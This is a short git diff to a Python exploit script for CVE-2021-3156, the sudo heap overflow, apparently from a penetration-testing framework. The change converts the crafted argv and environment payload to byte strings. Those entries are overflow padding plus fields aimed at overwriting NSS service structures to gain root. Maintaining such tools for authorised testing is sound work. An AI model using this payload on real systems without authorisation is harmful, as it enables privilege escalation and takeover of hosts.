diff --git a/data/exploits/CVE-2021-3156/nss_u16.py b/data/exploits/CVE-2021-3156/nss_u16.py
index 1783013eee..4a6be54e34 100755
--- a/data/exploits/CVE-2021-3156/nss_u16.py
+++ b/data/exploits/CVE-2021-3156/nss_u16.py
@@ -73,13 +73,13 @@ argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b
 
 env = [
 	b"A"*0xae+b"\\",
-	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next
-	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->service
-	"group\\", "A\\", # name_database_entry->name
+	b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # name_database_entry->next
+	b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # name_database_entry->service
+	b"group\\", b"A\\", # name_database_entry->name
 	b"A"*0x27+b"\\",
-	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library
-	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known
-	libnss_name,  # service_user->name
+	b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # service_user->library
+	b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # service_user->known
+	libnss_name.encode('latin-1'),  # service_user->name
 	b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0xd0+b";a=a",
 	b"LC_PAPER=C_gggg.UTF-8@"+b"L"*0x30,
 	b"LC_NAME=C_gggg.UTF-8@"+b"L"*0x4,